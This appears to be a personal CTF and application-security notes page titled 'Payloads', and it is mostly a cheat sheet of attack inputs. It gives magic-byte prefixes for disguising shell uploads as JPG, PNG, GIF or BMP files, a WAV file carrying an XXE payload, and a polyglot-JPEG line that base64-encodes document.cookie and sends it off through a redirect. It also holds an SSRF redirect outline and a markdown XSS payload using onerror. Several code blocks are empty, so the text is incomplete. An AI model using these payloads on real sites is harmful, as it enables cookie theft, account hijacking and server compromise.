> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/ctf-notes/appsec/payloads.md). # Payloads ## File Upload ``` # JPG echo -n -e '\xFF\xD8\xFF\xE0.' > shell.jpg # PNG echo -n -e '\x89\x50\x4E\x47.' > shell.png # GIF echo -n -e '\x47\x49\x46\x38.' > shell.gif # BMP echo -n -e '\x42\x4D.' > shell.bmp # WAV (XXE) echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00YOUR_XML_PAYLOAD_HERE\x00' > payload.wav ``` ### Bypass CSP Polyglot JPEG Payload to embed in the picture via hxd (Use this [POC](http://portswigger-labs.net/polyglot/jpeg/xss.jpg)) ``` document.location='/zeyad?c='+encodeURIComponent(btoa(document.cookie)); ``` Code to execute code as JS ``` ``` Research link: ## Server Side Request Forgery ### **SVG** ``` ``` ### Meta Tags ``` ``` ### Style tags ``` ``` ### HTTP Redirect ``` # ?url=http://your-domain/r.php # [ r.php ] ``` ### Edge Side Include ``` ``` ## Electron RCE ``` ``` ### More * * ## XSS ### Markdown ``` ![

](#){onerror=outerHTML=alt} ``` ### Payload in hashstring ``` "